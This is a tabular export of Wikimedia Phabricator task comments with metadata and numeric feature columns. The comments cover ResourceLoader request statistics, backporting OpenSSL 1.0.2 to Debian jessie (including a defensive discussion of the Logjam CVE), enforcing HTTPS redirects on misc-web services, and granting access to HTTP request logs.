+485881,Collect HTTP statistics about load.php requests,This is in the process of rolling out to all Varnishes. It should propagate everywhere within the next 20 minutes. The Graphite metric hierarchy has the prefix ResourceLoader.*; the rest should be self-explanatory.,,,1435871745,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-brymhbvob4xgvfbkxc7p,task_subcomment,,True,c3,3,True,,,0,True,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+485869,Collect HTTP statistics about load.php requests,"Change 222371 merged by Ori.livneh:
+Add varnish stats reporter for ResourceLoader requests
+
+[[https://gerrit.wikimedia.org/r/222371]]",,,1435869941,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-brymhbvob4xgvfbkxc7p,task_subcomment,,True,c3,3,False,,,0,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+485772,Collect HTTP statistics about load.php requests,"Change 222371 had a related patch set uploaded (by Ori.livneh):
+Add varnish stats reporter for ResourceLoader requests
+
+[[https://gerrit.wikimedia.org/r/222371]]
+",,,1435862752,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-brymhbvob4xgvfbkxc7p,task_subcomment,,True,c3,3,False,,,0,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+104143,openssl 1.0.2 packaging for jessie,"We need to switch to openssl 1.0.2 on jessie in support of multiple certs for ECDSA in the short term, and regardless of that we're going to need it by later this year to start trying out HTTP/2 + ALPN.
+
+It's currently [[ https://packages.debian.org/stretch/openssl | available in Stretch ]], and I've installed the stretch binary packages straight onto a jessie test host without issue, but we'd want to rebuild for any real deployment.
+
+Aside from the basic re-build on jessie, I think there's one extra patch we should consider, and one security non-issue that should at least be mentioned here:
+
+ - **Patch** - We could patch in [[ https://github.com/cloudflare/sslconfig/blob/master/patches/openssl__chacha20_poly1305_cf.patch | a high-perf implementation of chacha20poly1305 from Cloudflare ]].  Supposedly this is a secure option for reducing mobile CPU usage (and thus slowness) and is supported by at least some Android 5 devices.  Deciding whether to include this patch would be separate from actually turning on support for it in our cipher list, but I think we may as well add the patch to give ourselves the option and then we can make the ciphersuite decision afterwards.  Cloudflare's general blog post on the topic: https://blog.cloudflare.com/do-the-chacha-better-mobile-performance-with-cryptography/
+
+ - **Sec Non-Issue** According to [[ https://security-tracker.debian.org/tracker/source-package/openssl | Debian's Security Tracker ]], the Stretch 1.0.2c-1 package lacks fixes for [[ https://security-tracker.debian.org/tracker/CVE-2015-4000 | CVE-2015-4000 / Logjam ]] which our jessie 1.0.1 package already has.  I bring this up mostly because if I didn't, someone else probably would, but I don't think we need to patch for this:
+    1. we're not enabling DHE or export-grade ciphers in our server configs, so we're not generally vulnerable to this in the first place due to our configuration, regardless of the code-level issue.
+    2. openssl-1.0.2 already limits the attack further by setting minimum key sizes for DHE and EC.  Even if we did for some unfathomable reason turn DHE_EXPORT ciphers on, the downgrade would be limited to 768-bit rather than the 512-bit possible with unpatched 1.0.1.",Medium,50.0,1435522095,1435783333.0,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-mflsvd7ub7fvyve43xva,task_description,resolved,True,c3,2,True,True,True,-1,True,1,1,0,1,1,1,1,1,0,1,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,0,0,1,1,1,1,1,1,1,1,0,0,1,1,1,0,0,1,1,1,1,0,1,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,1,1
+578430,openssl 1.0.2 packaging for jessie,">>! In T104143#1877286, @Remware wrote:
+> My question was related to standard Debian, thanks for the answer, I hope your are pushing upstream at some point...
+
+jessie will stick with 1.0.1, the update to 1.0.2 was requested by the OpenSSL maintainer during the freeze, but declined by the release managers: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=767661",,,1450092543,,PHID-USER-abszjqutasfjxgagymds,False,,,PHID-TASK-mflsvd7ub7fvyve43xva,task_subcomment,,True,c3,3,True,,,23,True,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,1,0,1,1,0,1,1,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,1,0,0,0,1,0,0,1
+578429,openssl 1.0.2 packaging for jessie,"My question was related to standard Debian, thanks for the answer, I hope your are pushing upstream at some point...",,,1450092286,,PHID-USER-3rlfi3mnvi7zx76ucrz2,False,,,PHID-TASK-mflsvd7ub7fvyve43xva,task_subcomment,,True,c3,3,False,,,23,True,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+578428,openssl 1.0.2 packaging for jessie,"I'm not sure what the context of your question is, but yes we have been running an openssl-1.0.2 package on our jessie hosts from our jessie-wikimedia repo since back when this was resolved, and rebuilding some of our other custom packages (e.g. nginx) against it as well.",,,1450092042,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-mflsvd7ub7fvyve43xva,task_subcomment,,True,c3,3,True,,,23,True,1,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+578427,openssl 1.0.2 packaging for jessie,"@remware: If you're referring with stable to standard Debian jessie, then no. The latest version of openssl 1.0.2 is available in jessie-wikimedia, though.",,,1450091917,,PHID-USER-abszjqutasfjxgagymds,False,,,PHID-TASK-mflsvd7ub7fvyve43xva,task_subcomment,,True,c3,3,True,,,23,True,0,0,0,0,0,1,1,0,1,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,1,1,0,1,1,1,0,0,1,1,0,0,0,0,1,0,1,0
+578425,openssl 1.0.2 packaging for jessie,Do we have jessie package already in stable ?,,,1450091718,,PHID-USER-3rlfi3mnvi7zx76ucrz2,False,,,PHID-TASK-mflsvd7ub7fvyve43xva,task_subcomment,,True,c3,3,False,,,23,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+483715,openssl 1.0.2 packaging for jessie,">>! In T104143#1411211, @BBlack wrote:
+> (or alternatively, should I just ignore the udeb error because we don't care about 1.0.2c during install-time?)
+
+That would work as well; the udebs are only needed for d-i.",,,1435605939,,PHID-USER-abszjqutasfjxgagymds,False,,,PHID-TASK-mflsvd7ub7fvyve43xva,task_subcomment,,True,c3,2,True,,,-1,True,0,0,0,1,1,1,0,1,0,0,1,1,0,1,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,0,0,0,0,0,0,0,1
+483706,openssl 1.0.2 packaging for jessie,"(or alternatively, should I just ignore the udeb error because we don't care about 1.0.2c during install-time?)",,,1435605409,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-mflsvd7ub7fvyve43xva,task_subcomment,,True,c3,2,True,,,-1,True,0,0,0,0,1,1,0,1,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0
+483705,openssl 1.0.2 packaging for jessie,"(or alternatively, should I just ignore the udeb error because we don't care about 1.0.2c during install-time?",,,1435605399,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-mflsvd7ub7fvyve43xva,task_subcomment,,True,c3,2,True,,,-1,True,0,0,0,0,1,1,0,1,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0
+483604,openssl 1.0.2 packaging for jessie,"I'm willing to skip the chacha20poly1305 thing if you'd rather, that's fine.  That makes this a trivial backport as well.  Per IRC discussion, I've uploaded to gerrit with ""upstream"" branch tracking openssl.org orig tarballs and ""master"" starting with the 1.0.2c-1 debian/ stuff here: http://git.wikimedia.org/summary/operations%2Fdebs%2Fopenssl
+
+I've rebuilt that on copper with a standard git-pbuilder for jessie and uploaded to carbon in component ""backport"" of jessie-wikimedia.  However, the reprepro command had some failure output:
+```
+root@carbon:~# reprepro -C backports --ignore=wrongdistribution include jessie-wikimedia ~bblack/ossl/*.changes
+.changes put in a distribution not listed within it!
+Ignoring as --ignore=wrongdistribution given.
+Cannot put file 'libcrypto1.0.0-udeb_1.0.2c-1_amd64.udeb' into component 'backports', as it is not listed in UDebComponents!
+```
+
+This seems to be related to `/srv/wikimedia/conf/distributions` jessie stanza lacking backports in UDebComponents?
+```
+Origin: Wikimedia
+Label: Wikimedia
+Suite: jessie-wikimedia
+Codename: jessie-wikimedia
+AlsoAcceptFor: jessie jessie-backports
+Version: 8
+Architectures: source amd64 i386
+Components: main backports thirdparty
+UDebComponents: main
+Update: hwraid cassandra
+Description: Wikimedia packages for Debian Jessie
+SignWith: default
+DebOverride: deb-override
+Log:
+ log
+```
+
+But I'm not sure if the right answer is to fix it there or not...",,,1435598476,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-mflsvd7ub7fvyve43xva,task_subcomment,,True,c3,2,True,,,-1,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,1,0,1,1,0,1,0,1,0,0,1
+483300,openssl 1.0.2 packaging for jessie,"I checked and the data for CVE-2015-4000 in the Debian Security Tracker seems slightly off:
+The current 1.0.2c from unstable includes the same fix (https://git.openssl.org/?p=openssl.git;a=commit;h=10a70da729948bb573d27cef4459077c49f3eb46) as what is currently in jessie-security (bumping the minimum length to 768). So, there's no regression here, but only a different interpretation between what constitutes a fix for CVE-2015-4000.
+
+I'm not really comfortable with including the cloudfare patch; they don't seem to have submitted it upstream over at least four months and the OpenSSL developers are working on their own implementation. I'd rather wait until it has seen some upstream scrutiny.
+
+As for maintaining the backport: I'd say we import 1.0.2c in operations/debs/openssl and proceed from there. I think we should update our openssl build by following their point releases. They had a recent lapse which broke the ABI in 1.0.2b, but otherwise the selection of backports to the stable branchs is fairly conservative (I'm following openssl commit logs for a while now). Currently the Debian packages for jessie-security backport the isolated security fixes, but it's also planned to switch to ship the openssl point releases in the future (https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=765639).  ",,,1435565060,,PHID-USER-abszjqutasfjxgagymds,False,,,PHID-TASK-mflsvd7ub7fvyve43xva,task_subcomment,,True,c3,2,True,,,-1,True,1,0,0,0,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,0,1,1,1,0,1,0,0,1,0,1,0,1,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,1,1,1,0,1,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,1,0
+483299,openssl 1.0.2 packaging for jessie,"I checked and the data for CVE-2015-4000 in the Debian Security Tracker seems slightly off:
+The current 1.0.2c from unstable includes the same fix (https://git.openssl.org/?p=openssl.git;a=commit;h=10a70da729948bb573d27cef4459077c49f3eb46) as what is currently in jessie-security (bumping the minimum length to 768). So, there's no regression here, but only a different interpretation between what constitutes a fix for CVE-2015-4000.
+
+I'm not really comfortable with including the cloudfare patch; they don't seem to have submitted it upstream over at least four months and the OpenSSL developers are working on their own implementation. I'd rather wait until it has seen some upstream scrutiny.
+
+As for maintaining the backport: I'd say we import 1.0.2c in operations/debs/openssl and proceed from there. I think we should update our openssl build by following their point releases. They had a recent lapse which broke the ABI in 1.0.2b, but otherwise the selection of backports to the stable branchs is fairly conservative (I'm following openssl commit logs for a while now). Currently the Debian packages for jessie-security backport the isolated security fixes, but it's also planned to switch to ship the openssl point releases in the future (https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=765639).  ",,,1435565037,,PHID-USER-abszjqutasfjxgagymds,False,,,PHID-TASK-mflsvd7ub7fvyve43xva,task_subcomment,,True,c3,2,True,,,-1,True,1,0,0,0,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,0,1,1,1,0,1,0,0,1,0,1,0,1,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,1,1,1,0,1,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,1,0
+103919,let all services on misc-web enforce http->https redirects,"all the services listed as not currently redirecting in T103773
+
+check if there are real reasons not to let them enforce https, if possible let them all redirect
+
+then we could do this centrally in the varnish layer and remove all the individual Apache configs in the backends
+
+",Medium,50.0,1435267334,1460573361.0,PHID-USER-fo56wm4wxiwpoofn2xdu,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-gyse7w5s5b7tntsibkud,task_description,resolved,True,c3,2,True,False,False,-1,True,1,0,0,0,1,1,1,0,0,1,1,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,1,1,0,0,0
+645303,let all services on misc-web enforce http->https redirects,"Change 283251 merged by BBlack:
+HTTPS redirect for all: 3/3 remove misc custom block
+
+[[https://gerrit.wikimedia.org/r/283251]]",,,1460572489,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gyse7w5s5b7tntsibkud,task_subcomment,,True,c3,3,False,,,40,True,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+645302,let all services on misc-web enforce http->https redirects,"Change 283250 merged by BBlack:
+HTTPS redirect for all: 2/3 remove vcl_config settings
+
+[[https://gerrit.wikimedia.org/r/283250]]",,,1460572445,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gyse7w5s5b7tntsibkud,task_subcomment,,True,c3,3,False,,,40,True,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+645296,let all services on misc-web enforce http->https redirects,"Change 283249 merged by BBlack:
+HTTPS redirect for all: 1/3 remove VCL conditional
+
+[[https://gerrit.wikimedia.org/r/283249]]",,,1460571778,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gyse7w5s5b7tntsibkud,task_subcomment,,True,c3,3,False,,,40,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+645293,let all services on misc-web enforce http->https redirects,"Change 283251 had a related patch set uploaded (by BBlack):
+HTTPS redirect for all: 3/3 remove misc custom block
+
+[[https://gerrit.wikimedia.org/r/283251]]
+",,,1460571523,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gyse7w5s5b7tntsibkud,task_subcomment,,True,c3,3,False,,,40,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+645292,let all services on misc-web enforce http->https redirects,"Change 283250 had a related patch set uploaded (by BBlack):
+HTTPS redirect for all: 2/3 remove vcl_config settings
+
+[[https://gerrit.wikimedia.org/r/283250]]
+",,,1460571522,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gyse7w5s5b7tntsibkud,task_subcomment,,True,c3,3,False,,,40,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+645289,let all services on misc-web enforce http->https redirects,"Change 283249 had a related patch set uploaded (by BBlack):
+HTTPS redirect for all: 1/3 remove VCL conditional
+
+[[https://gerrit.wikimedia.org/r/283249]]
+",,,1460571341,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gyse7w5s5b7tntsibkud,task_subcomment,,True,c3,3,False,,,40,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+644218,let all services on misc-web enforce http->https redirects,"I should add: once we can kill the last entry in that last of HTTPS-exceptions, we can drop that whole block and simply set cache_misc's https_redirects option to `true` (or eliminate the option completely, since this is the only exception that as well).",,,1460474849,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-gyse7w5s5b7tntsibkud,task_subcomment,,True,c3,3,True,,,40,True,0,0,1,0,0,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,0,1,1,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+644214,let all services on misc-web enforce http->https redirects,"I've done a bunch of cleanup on misc-web today, including:
+
+1. removing the dead service entries (download, gerrit, rt)
+2. inverting the existing TLS-redirect conditional (to list the hosts which do not redirect for HTTPS)
+3. making varnish do the TLS redirect for all domains that were already doing it at the application layer (checked with curl)
+4. Sharing most of the HTTPS code with the common VCL that text/upload/maps use, except for the redirect part, which means:
+5. misc now emits HSTS according to the global rules as well (no preload/includeSub on wikimedia.org, but yes on the others)
+
+I also went ahead and added wmfusercontent.org to the global HSTS rules, but the preload part there is still blocked on T132452
+
+What's left now for hostnames which flow through cache_misc but do not have HTTPS redirects are these...
+
+```
+config-master.wikimedia.org
+git.wikimedia.org
+graphite.wikimedia.org
+parsoid-tests.wikimedia.org
+datasets.wikimedia.org
+transparency.wikimedia.org
+stats.wikimedia.org
+```
+
+... which are now explicit in the VCL and waiting to be deleted if possible here: https://github.com/wikimedia/operations-puppet/blob/production/templates/varnish/misc-frontend.inc.vcl.erb#L24
+",,,1460474707,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-gyse7w5s5b7tntsibkud,task_subcomment,,True,c3,3,True,,,40,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,1,1,0,0,1,0,0,1,1,1,1,1,0,0,1,0,1,1,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,0,1,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,1,1
+513974,let all services on misc-web enforce http->https redirects,"According to DNS, download.wikimedia.org and gerrit.wikimedia.org are not behind misc-web. Why are these two domains in misc.inc.vcl.erb?",,,1440478792,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-gyse7w5s5b7tntsibkud,task_subcomment,,True,c3,3,True,,,7,True,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,1,0,0,1,0,0,0
+513961,let all services on misc-web enforce http->https redirects,">>! In T103919#1402421, @Dzahn wrote:
+> left after removing svn and dev:
+> 
+> git.wikimedia.org
+> graphite.wikimedia.org
+> releases.wikimedia.org
+> grafana.wikimedia.org
+> datasets.wikimedia.org
+> config-master.wikimedia.org
+> etherpad.wikimedia.org
+> parsoid-tests.wikimedia.org
+> download.wikimedia.org
+
+Should these domain names have individual Phabricator Maniphest tasks? I just went to look for a task about releases.wikimedia.org specifically.",,,1440475078,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-gyse7w5s5b7tntsibkud,task_subcomment,,True,c3,3,True,,,7,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,0,0,1,0,1,0,0,1
+511361,let all services on misc-web enforce http->https redirects,">>! In T103919#1406876, @Chmarkine wrote:
+> stats.wikimedia.org doesn't redirect http to https. It has mixed content (T93702). Do we need to fix that first?
+
+Yes, i think so. The problem here would be that the content is not in a repository (afaict).",,,1440033429,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-gyse7w5s5b7tntsibkud,task_subcomment,,True,c3,3,True,,,7,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,1,0,0,1,1,1,1,0,1,1,0,0,1,0,0,0,0,1
+482905,let all services on misc-web enforce http->https redirects,stats.wikimedia.org doesn't redirect http to https. It has mixed content (T93702). Do we need to fix that first?,,,1435398996,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-gyse7w5s5b7tntsibkud,task_subcomment,,True,c3,2,True,,,-1,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,0
+482045,let all services on misc-web enforce http->https redirects,https://wikitech.wikimedia.org/wiki/User:Dzahn/misc-web,,,1435267898,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-gyse7w5s5b7tntsibkud,task_subcomment,,True,c3,2,True,,,-1,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+482037,let all services on misc-web enforce http->https redirects,"left after removing svn and dev:
+
+git.wikimedia.org
+graphite.wikimedia.org
+releases.wikimedia.org
+grafana.wikimedia.org
+datasets.wikimedia.org
+config-master.wikimedia.org
+etherpad.wikimedia.org
+parsoid-tests.wikimedia.org
+download.wikimedia.org
+
+",,,1435267497,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-gyse7w5s5b7tntsibkud,task_subcomment,,True,c3,2,True,,,-1,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1
+103872,Grant access to HTTP request logs,"For https://phabricator.wikimedia.org/T100673, I would like to investigate the possibility of retrieving the data directly from the HTTP request logs.
+
+It sounds like this data is available in HDFS (via stat1002), sourced from Varnish logs.  Can I get access to this?",Medium,50.0,1435251917,1435789423.0,PHID-USER-2aknafvxpqtbnnzpvtno,False,PHID-USER-xy6c3ul27f336aaedx2d,False,PHID-TASK-sarnhy4wcjdnkhzxdhnx,task_description,resolved,True,c3,2,False,False,True,-1,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,1,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,0,0,0,1,0,0,0
+485232,Grant access to HTTP request logs,"With Wes's approval of rights escalation, I've gone ahead and merged the patchset.
+
+@Jdouglas: once the hosts call in (can take up to 30 minutes or so), you should be all set.  If things aren't working, simply re-open this task and we can investigate.",,,1435789423,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-sarnhy4wcjdnkhzxdhnx,task_subcomment,,True,c3,2,True,,,-1,True,1,0,0,1,1,0,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,1,1,0,0,1,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,1,1,0,0,0,0,1,0,0,0
+485230,Grant access to HTTP request logs,"Change 220990 merged by RobH:
+access: grant Jdouglas access toanalytics-privatedata-users group
+
